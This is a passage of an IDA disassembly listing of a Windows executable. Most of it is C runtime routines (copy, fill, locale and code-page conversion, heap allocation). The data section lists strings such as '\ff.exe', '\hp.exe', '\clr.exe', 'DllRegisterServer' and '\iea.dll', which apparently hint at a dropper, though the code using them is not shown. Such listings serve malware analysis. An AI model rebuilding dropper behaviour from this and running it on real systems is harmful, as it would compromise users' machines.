		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_404724
		std
		rep movsd
		cld
		jmp	ds:off_404848[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_404724
		std
		rep movsd
		cld
		jmp	ds:off_404848[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_404724
		std
		rep movsd
		cld
		jmp	ds:off_404848[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4047FC
		dd offset loc_404804
		dd offset loc_40480C
		dd offset loc_404814
		dd offset loc_40481C
		dd offset loc_404824
		dd offset loc_40482C
off_4047F8	dd offset loc_40483F	; DATA XREF: sub_404560+1C6r
; ---------------------------------------------------------------------------

loc_4047FC:				; DATA XREF: sub_404560+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_404804:				; DATA XREF: sub_404560+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_40480C:				; DATA XREF: sub_404560+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_404814:				; DATA XREF: sub_404560+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_40481C:				; DATA XREF: sub_404560+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_404824:				; DATA XREF: sub_404560+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_40482C:				; DATA XREF: sub_404560+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_40483F:				; CODE XREF: sub_404560+1C6j
					; DATA XREF: sub_404560:off_4047F8o
		jmp	ds:off_404848[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_404848	dd offset loc_404858	; DATA XREF: sub_404560+1BBr
					; sub_404560:loc_404748r ...
		dd offset loc_404860
		dd offset loc_404870
		dd offset loc_404884
; ---------------------------------------------------------------------------

loc_404858:				; CODE XREF: sub_404560+1BBj
					; sub_404560:loc_404748j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_404860:				; CODE XREF: sub_404560+1BBj
					; sub_404560:loc_404748j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_404870:				; CODE XREF: sub_404560+1BBj
					; sub_404560:loc_404748j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_404884:				; CODE XREF: sub_404560+1BBj
					; sub_404560:loc_404748j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_404560	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4048A0	proc near		; CODE XREF: sub_403FCA+2EFp
					; sub_403FCA+325p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4048FB
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4048EB
		neg	ecx
		and	ecx, 3
		jz	short loc_4048CD
		sub	edx, ecx

loc_4048C3:				; CODE XREF: sub_4048A0+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_4048C3

loc_4048CD:				; CODE XREF: sub_4048A0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4048EB
		rep stosd
		test	edx, edx
		jz	short loc_4048F5

loc_4048EB:				; CODE XREF: sub_4048A0+18j
					; sub_4048A0+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_4048EB

loc_4048F5:				; CODE XREF: sub_4048A0+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4048FB:				; CODE XREF: sub_4048A0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4048A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404900	proc near		; CODE XREF: sub_403FCA+27Dp
					; sub_404386+15Ep

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_407030
		push	6
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	ds:dword_405044	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_40492F
		or	eax, 0FFFFFFFFh
		jmp	short loc_404939
; ---------------------------------------------------------------------------

loc_40492F:				; CODE XREF: sub_404900+28j
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_404C6A
		pop	ecx

loc_404939:				; CODE XREF: sub_404900+2Dj
		mov	ecx, [ebp+var_4]
		call	sub_40124E
		leave
		retn
sub_404900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404943	proc near		; CODE XREF: sub_403FCA+2A8p
					; sub_403FCA+366p ...

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	38h
		push	offset stru_405D28
		call	__SEH_prolog
		mov	eax, dword_407030
		mov	[ebp+var_1C], eax
		xor	edi, edi
		mov	[ebp+var_34], edi
		mov	[ebp+var_44], edi
		mov	eax, [ebp+arg_C]
		mov	ebx, [eax]
		mov	[ebp+var_40], ebx
		mov	[ebp+var_3C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jz	loc_404AE9
		lea	ecx, [ebp+var_30]
		push	ecx
		push	eax
		mov	esi, ds:dword_4050C4
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_4049A7
		cmp	[ebp+var_30], 1
		jnz	short loc_4049A7
		lea	eax, [ebp+var_30]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_4049A7
		cmp	[ebp+var_30], 1
		jnz	short loc_4049A7
		mov	[ebp+var_3C], 1

loc_4049A7:				; CODE XREF: sub_404943+42j
					; sub_404943+48j ...
		cmp	[ebp+var_3C], edi
		jz	short loc_4049C6
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4049B5
		mov	esi, ebx
		jmp	short loc_4049C1
; ---------------------------------------------------------------------------

loc_4049B5:				; CODE XREF: sub_404943+6Cj
		push	[ebp+arg_8]
		call	sub_402680
		pop	ecx
		mov	esi, eax
		inc	esi

loc_4049C1:				; CODE XREF: sub_404943+70j
		mov	[ebp+var_38], esi
		jmp	short loc_4049C9
; ---------------------------------------------------------------------------

loc_4049C6:				; CODE XREF: sub_404943+67j
		mov	esi, [ebp+var_38]

loc_4049C9:				; CODE XREF: sub_404943+81j
		cmp	[ebp+var_3C], edi
		jnz	short loc_4049E8
		push	edi
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_4050DC	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_38], esi
		cmp	esi, edi
		jz	short loc_404A40

loc_4049E8:				; CODE XREF: sub_404943+89j
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_402310
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_48], ebx
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	ebx
		call	sub_4048A0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_404A2C
; ---------------------------------------------------------------------------

loc_404A15:				; DATA XREF: .rdata:stru_405D28o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_404A19:				; DATA XREF: .rdata:stru_405D28o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_404B0C
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	esi, [ebp+var_38]

loc_404A2C:				; CODE XREF: sub_404943+D0j
		cmp	ebx, edi
		jnz	short loc_404A4E
		push	esi
		push	2
		call	sub_404BEF
		pop	ecx
		pop	ecx
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_404A47

loc_404A40:				; CODE XREF: sub_404943+A3j
		xor	eax, eax
		jmp	loc_404AFB
; ---------------------------------------------------------------------------

loc_404A47:				; CODE XREF: sub_404943+FBj
		mov	[ebp+var_44], 1

loc_404A4E:				; CODE XREF: sub_404943+EBj
		push	esi
		push	ebx
		push	[ebp+var_40]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_0]
		call	ds:dword_4050DC	; MultiByteToWideChar
		test	eax, eax
		jz	loc_404AEC
		cmp	[ebp+arg_10], edi
		jz	short loc_404A8E
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_40508C	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_404AEC
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_34], eax
		jmp	short loc_404AEC
; ---------------------------------------------------------------------------

loc_404A8E:				; CODE XREF: sub_404943+129j
		cmp	[ebp+var_3C], edi
		jnz	short loc_404AA9
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_40508C	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_404AEC

loc_404AA9:				; CODE XREF: sub_404943+14Ej
		push	esi
		push	1
		call	sub_404BEF
		pop	ecx
		pop	ecx
		mov	[ebp+var_34], eax
		cmp	eax, edi
		jz	short loc_404AEC
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	ebx
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_40508C	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_404ADC
		push	[ebp+var_34]
		call	sub_402F0B
		pop	ecx
		mov	[ebp+var_34], edi
		jmp	short loc_404AEC
; ---------------------------------------------------------------------------

loc_404ADC:				; CODE XREF: sub_404943+189j
		cmp	[ebp+var_40], 0FFFFFFFFh
		jz	short loc_404AEC
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_404AEC
; ---------------------------------------------------------------------------

loc_404AE9:				; CODE XREF: sub_404943+2Dj
		mov	ebx, [ebp+var_48]

loc_404AEC:				; CODE XREF: sub_404943+120j
					; sub_404943+141j ...
		cmp	[ebp+var_44], edi
		jz	short loc_404AF8
		push	ebx
		call	sub_402F0B
		pop	ecx

loc_404AF8:				; CODE XREF: sub_404943+1ACj
		mov	eax, [ebp+var_34]

loc_404AFB:				; CODE XREF: sub_404943+FFj
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_1C]
		call	sub_40124E
		call	__SEH_epilog
		retn
sub_404943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B0C	proc near		; CODE XREF: sub_403FCA+FDp
					; sub_403FCA+1CBp ...

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		call	sub_402310
		mov	esi, esp
		push	1Ch
		lea	eax, [ebp+var_28]
		push	eax
		push	esi
		call	ds:dword_4050B8	; VirtualQuery
		test	eax, eax
		jz	short loc_404BA7
		mov	ebx, [ebp+var_24]
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_4050EC	; GetSystemInfo
		mov	ecx, [ebp+var_48]
		mov	eax, dword_4072BC
		lea	edi, [ecx-1]
		not	edi
		and	edi, esi
		sub	edi, ecx
		mov	esi, eax
		dec	esi
		neg	esi
		sbb	esi, esi
		and	esi, 0FFFFFFF1h
		add	esi, 11h
		imul	esi, ecx
		add	esi, ebx
		cmp	edi, esi
		mov	[ebp+var_8], ecx
		jb	short loc_404BA7
		cmp	eax, 1
		jz	short loc_404BC8
		mov	[ebp+var_4], ebx
		mov	ebx, 1000h

loc_404B74:				; CODE XREF: sub_404B0C+84j
		push	1Ch
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4050B8	; VirtualQuery
		test	eax, eax
		jz	short loc_404BA7
		mov	eax, [ebp+var_1C]
		add	[ebp+var_4], eax
		test	[ebp+var_18], ebx
		jz	short loc_404B74
		test	[ebp+var_13], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jz	short loc_404BA3
		xor	eax, eax
		inc	eax
		jmp	short loc_404BE7
; ---------------------------------------------------------------------------

loc_404BA3:				; CODE XREF: sub_404B0C+90j
		cmp	edi, eax
		jnb	short loc_404BAB

loc_404BA7:				; CODE XREF: sub_404B0C+22j
					; sub_404B0C+59j ...
		xor	eax, eax
		jmp	short loc_404BE7
; ---------------------------------------------------------------------------

loc_404BAB:				; CODE XREF: sub_404B0C+99j
		cmp	eax, esi
		jnb	short loc_404BB2
		mov	[ebp+var_4], esi

loc_404BB2:				; CODE XREF: sub_404B0C+A1j
		push	4
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_4050CC	; VirtualAlloc
		mov	eax, dword_4072BC
		jmp	short loc_404BCB
; ---------------------------------------------------------------------------

loc_404BC8:				; CODE XREF: sub_404B0C+5Ej
		mov	[ebp+var_4], edi

loc_404BCB:				; CODE XREF: sub_404B0C+BAj
		dec	eax
		neg	eax
		sbb	eax, eax
		and	eax, 103h
		lea	ecx, [ebp+var_C]
		push	ecx
		inc	eax
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_405040	; VirtualProtect

loc_404BE7:				; CODE XREF: sub_404B0C+95j
					; sub_404B0C+9Dj
		lea	esp, [ebp-58h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404B0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404BEF	proc near		; CODE XREF: sub_404386+F5p
					; sub_404943+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		imul	esi, [esp+8+arg_4]
		test	esi, esi
		push	edi
		mov	ebx, esi
		jnz	short loc_404C02
		inc	esi

loc_404C02:				; CODE XREF: sub_404BEF+10j
					; sub_404BEF+65j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_404C42
		cmp	dword_407704, 3
		jnz	short loc_404C2D
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		cmp	ebx, dword_4074B4
		ja	short loc_404C2D
		push	ebx
		call	sub_403B34
		mov	edi, eax
		test	edi, edi
		pop	ecx
		jnz	short loc_404C58

loc_404C2D:				; CODE XREF: sub_404BEF+21j
					; sub_404BEF+2Fj
		push	esi
		push	8
		push	dword_407700
		call	ds:dword_4050C8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_404C64

loc_404C42:				; CODE XREF: sub_404BEF+18j
		cmp	dword_4074A4, 0
		jz	short loc_404C64
		push	esi
		call	sub_404540
		test	eax, eax
		pop	ecx
		jnz	short loc_404C02
		jmp	short loc_404C66
; ---------------------------------------------------------------------------

loc_404C58:				; CODE XREF: sub_404BEF+3Cj
		push	ebx
		push	0
		push	edi
		call	sub_4048A0
		add	esp, 0Ch

loc_404C64:				; CODE XREF: sub_404BEF+51j
					; sub_404BEF+5Aj
		mov	eax, edi

loc_404C66:				; CODE XREF: sub_404BEF+67j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_404BEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C6A	proc near		; CODE XREF: sub_404900+33p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		jmp	short loc_404C72
; ---------------------------------------------------------------------------

loc_404C71:				; CODE XREF: sub_404C6A+14j
		inc	esi

loc_404C72:				; CODE XREF: sub_404C6A+5j
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_404CC2
		test	eax, eax
		pop	ecx
		jnz	short loc_404C71
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_404C90
		cmp	ecx, 2Bh
		jnz	short loc_404C94

loc_404C90:				; CODE XREF: sub_404C6A+1Fj
		movzx	ecx, byte ptr [esi]
		inc	esi

loc_404C94:				; CODE XREF: sub_404C6A+24j
		xor	eax, eax

loc_404C96:				; CODE XREF: sub_404C6A+4Dj
		cmp	ecx, 30h
		jl	short loc_404CA5
		cmp	ecx, 39h
		jg	short loc_404CA5
		sub	ecx, 30h
		jmp	short loc_404CA8
; ---------------------------------------------------------------------------

loc_404CA5:				; CODE XREF: sub_404C6A+2Fj
					; sub_404C6A+34j
		or	ecx, 0FFFFFFFFh

loc_404CA8:				; CODE XREF: sub_404C6A+39j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_404CB9
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_404C96
; ---------------------------------------------------------------------------

loc_404CB9:				; CODE XREF: sub_404C6A+41j
		cmp	edx, 2Dh
		pop	esi
		jnz	short locret_404CC1
		neg	eax

locret_404CC1:				; CODE XREF: sub_404C6A+53j
		retn
sub_404C6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404CC2	proc near		; CODE XREF: sub_404C6A+Cp

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		cmp	ecx, 0FFh
		jbe	short loc_404D2F
		and	[ebp+var_4], 0
		push	edi
		xor	eax, eax
		lea	edi, [ebp+var_2]
		stosw
		mov	eax, ecx
		shr	eax, 8
		cmp	dword_4074C8, 0
		mov	byte ptr [ebp+arg_0+2],	al
		mov	byte ptr [ebp+arg_0+3],	cl
		pop	edi
		jnz	short loc_404CF7

loc_404CF3:				; CODE XREF: sub_404CC2+59j
					; sub_404CC2+60j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_404CF7:				; CODE XREF: sub_404CC2+2Fj
		push	1
		push	dword_4074C4
		lea	eax, [ebp+var_4]
		push	dword_4075E4
		push	eax
		push	2
		lea	eax, [ebp+arg_0+2]
		push	eax
		push	1
		call	sub_404386
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_404CF3
		cmp	[ebp+var_2], 0
		jnz	short loc_404CF3
		test	byte ptr [ebp+var_4], 8
		jz	short loc_404CF3
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_404D2F:				; CODE XREF: sub_404CC2+Dj
		cmp	dword_407290, 1
		jle	short loc_404D44
		push	8
		push	ecx
		call	sub_404D94
		pop	ecx
		pop	ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_404D44:				; CODE XREF: sub_404CC2+74j
		mov	eax, off_407280
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		leave
		retn
sub_404CC2	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+8]
		mov	ecx, [esp+10h]
		or	ecx, eax
		mov	ecx, [esp+0Ch]
		jnz	short loc_404D79
		mov	eax, [esp+4]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_404D79:				; CODE XREF: .text:00404D6Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+8]
		mul	dword ptr [esp+14h]
		add	ebx, eax
		mov	eax, [esp+8]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D94	proc near		; CODE XREF: sub_404CC2+79p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_404DB2
		mov	ecx, off_407280
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_404E0D
; ---------------------------------------------------------------------------

loc_404DB2:				; CODE XREF: sub_404D94+10j
		mov	ecx, eax
		sar	ecx, 8
		push	esi
		mov	esi, off_407280
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_404DD8
		push	2
		mov	[ebp+var_3], al
		mov	[ebp+var_4], cl
		mov	[ebp+var_2], 0
		pop	eax
		jmp	short loc_404DE2
; ---------------------------------------------------------------------------

loc_404DD8:				; CODE XREF: sub_404D94+33j
		mov	[ebp+var_4], al
		xor	eax, eax
		mov	[ebp+var_3], 0
		inc	eax

loc_404DE2:				; CODE XREF: sub_404D94+42j
		push	1
		push	dword_407480
		lea	ecx, [ebp+arg_0+2]
		push	dword_407490
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_404386
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_404E09
		leave
		retn
; ---------------------------------------------------------------------------

loc_404E09:				; CODE XREF: sub_404D94+71j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_404E0D:				; CODE XREF: sub_404D94+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_404D94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_404E12	proc near		; CODE XREF: sub_40270C+13p
		jmp	ds:dword_4050B0
sub_404E12	endp

; ---------------------------------------------------------------------------
		align 200h
_text		ends

; Section 2. (virtual address 00005000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 00005000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 405000h
dword_405000	dd 77E77963h		; DATA XREF: sub_401000+6Er
					; sub_401000:loc_40107Ar
dword_405004	dd 77E79D8Ch		; DATA XREF: sub_401000+63r
					; sub_4018FC+155r
dword_405008	dd 77E7A837h		; DATA XREF: sub_401000+4Cr
dword_40500C	dd 77E7C931h		; DATA XREF: sub_401000+2Dr
dword_405010	dd 77E7105Fh		; DATA XREF: sub_401000+24r
dword_405014	dd 77E760B5h		; DATA XREF: sub_401000+1Ar
dword_405018	dd 77E6CA8Ah		; DATA XREF: sub_401000+10r
dword_40501C	dd 77E645E4h		; DATA XREF: sub_401090+16Dr
dword_405020	dd 77E6AD34h		; DATA XREF: sub_401090+9Er
dword_405024	dd 77E80618h		; DATA XREF: sub_401090+98r
dword_405028	dd 77E7A5FDh		; DATA XREF: sub_401090+8Br
					; sub_401761+15r ...
dword_40502C	dd 77E805D8h		; DATA XREF: sub_401090+7Dr
					; sub_40234D+18r
dword_405030	dd 77E74155h		; DATA XREF: sub_401090+55r
dword_405034	dd 77E73BEFh		; DATA XREF: sub_401090+4Fr
dword_405038	dd 77E704FCh		; DATA XREF: sub_401090+37r
dword_40503C	dd 77E7A099h		; DATA XREF: sub_401090+24r
					; .text:00401544r ...
dword_405040	dd 77E6169Ah		; DATA XREF: sub_404B0C+D5r
dword_405044	dd 77E7513Ch		; DATA XREF: sub_404900+20r
dword_405048	dd 77E75CB5h		; DATA XREF: sub_40124E-7r
					; sub_401761+29r
dword_40504C	dd 77E79F93h		; DATA XREF: .text:004012EEr
					; sub_401761+5r
dword_405050	dd 77E6177Ah		; DATA XREF: .text:004013E1r
					; sub_402071+57r
dword_405054	dd 77E7C938h		; DATA XREF: .text:loc_40138Dr
dword_405058	dd 77E7C657h		; DATA XREF: .text:004012A1r
dword_40505C	dd 77E802FCh		; DATA XREF: sub_40145D+43r
dword_405060	dd 77E7751Ah		; DATA XREF: sub_40145D+37r
dword_405064	dd 77E77CC4h		; DATA XREF: sub_40145D+2Fr
dword_405068	dd 77E80656h		; DATA XREF: sub_40145D+27r
dword_40506C	dd 77E6167Bh		; DATA XREF: sub_40145D+1Br
dword_405070	dd 77E616B4h		; DATA XREF: sub_4017FB+1Ar
dword_405074	dd 77E79C90h		; DATA XREF: sub_4017FB+13r
dword_405078	dd 77E79C3Dh		; DATA XREF: sub_4018FC+14Er
					; sub_402071+157r
dword_40507C	dd 77EB9A84h		; DATA XREF: sub_401AAC+167r
dword_405080	dd 77E9C5B1h		; DATA XREF: sub_401F4F+113r
dword_405084	dd 77E67702h		; DATA XREF: sub_401F4F:loc_402026r
dword_405088	dd 77E7C9E1h		; DATA XREF: sub_401F4F+C1r
dword_40508C	dd 77E79924h		; DATA XREF: sub_401F4F:loc_401FBEr
					; sub_403FCA+22Dr ...
dword_405090	dd 77F5157Dh		; DATA XREF: sub_401F4F:loc_401F7Fr
					; sub_403FCA:loc_404003r ...
dword_405094	dd 77E77EE1h		; DATA XREF: sub_401F4F+Br
dword_405098	dd 77E7C931h		; DATA XREF: sub_402071+19Cr
dword_40509C	dd 77E78406h		; DATA XREF: sub_402071+FEr
					; sub_402071+165r
dword_4050A0	dd 77E76E0Bh		; DATA XREF: sub_4022BE+44r
dword_4050A4	dd 77E7C726h		; DATA XREF: sub_4022BE+11r
dword_4050A8	dd 77E79E34h		; DATA XREF: sub_403380+22Fr
dword_4050AC	dd 77F51597h		; DATA XREF: sub_402F0B+30r
					; sub_403380+2B4r ...
dword_4050B0	dd 77F6183Eh		; DATA XREF: sub_404E12r
dword_4050B4	dd 77E775F1h		; DATA XREF: sub_4027FA+131r
					; sub_4027FA+196r ...
dword_4050B8	dd 77E7F044h		; DATA XREF: sub_4027FA+B3r
					; sub_404B0C+1Ar ...
dword_4050BC	dd 77E7A13Fh		; DATA XREF: sub_402D07+42r
dword_4050C0	dd 77E6C703h		; DATA XREF: sub_402D07+2Br
dword_4050C4	dd 77E7849Fh		; DATA XREF: sub_402B7B+1Cr
					; sub_402D07+93r ...
dword_4050C8	dd 77F516F8h		; DATA XREF: sub_402F43+3Er
					; sub_40330D+Dr ...
dword_4050CC	dd 77E7980Ah		; DATA XREF: sub_403698+7Er
					; sub_40374F+52r ...
dword_4050D0	dd 77F5722Fh		; DATA XREF: sub_403698+27r
					; sub_403E30+FDr ...
dword_4050D4	dd 77F522F2h		; DATA XREF: sub_403F92+30r
dword_4050D8	dd 77E77405h		; DATA XREF: sub_403FCA+2C3r
					; sub_403FCA+344r ...
dword_4050DC	dd 77E77CCEh		; DATA XREF: sub_403FCA+C0r
					; sub_403FCA+141r ...
dword_4050E0	dd 77E781F9h		; DATA XREF: sub_403FCA+27r
					; sub_403FCA+15Br ...
dword_4050E4	dd 77E641EBh		; DATA XREF: sub_404386+19Cr
dword_4050E8	dd 77E7C866h		; DATA XREF: sub_404386+24r
					; sub_404386+128r
dword_4050EC	dd 77E7C3A5h		; DATA XREF: sub_404B0C+2Br
		dd 0
dword_4050F4	dd 77428B97h		; DATA XREF: sub_401090+CAr
		dd 3 dup(0)
aTo0f		db 'âo0F',0
		align 4
		dd 2, 52h, 2 dup(5D80h)
aFf_exe		db '\ff.exe',0          ; DATA XREF: sub_401090+130o
aHp_exe		db '\hp.exe',0          ; DATA XREF: sub_401090+F3o
aOpen		db 'open',0             ; DATA XREF: sub_401090+DEo
					; sub_401090+11Bo ...
		align 4
aClr_exe	db '\clr.exe',0         ; DATA XREF: sub_401090+B0o
		align 10h
aDllregisterser	db 'DllRegisterServer',0 ; DATA XREF: sub_401090+85o
		align 4
aIea_dll	db '\iea.dll',0         ; DATA XREF: sub_401090+5Bo
		align 10h
stru_405160	_msEH <0FFFFFFFFh, offset sub_40123A, offset sub_40123E>
					; DATA XREF: sub_40124E-2Fo
		align 10h
stru_405170	_msEH <0FFFFFFFFh, offset sub_401423, offset sub_401437>
					; DATA XREF: .text:00401283o
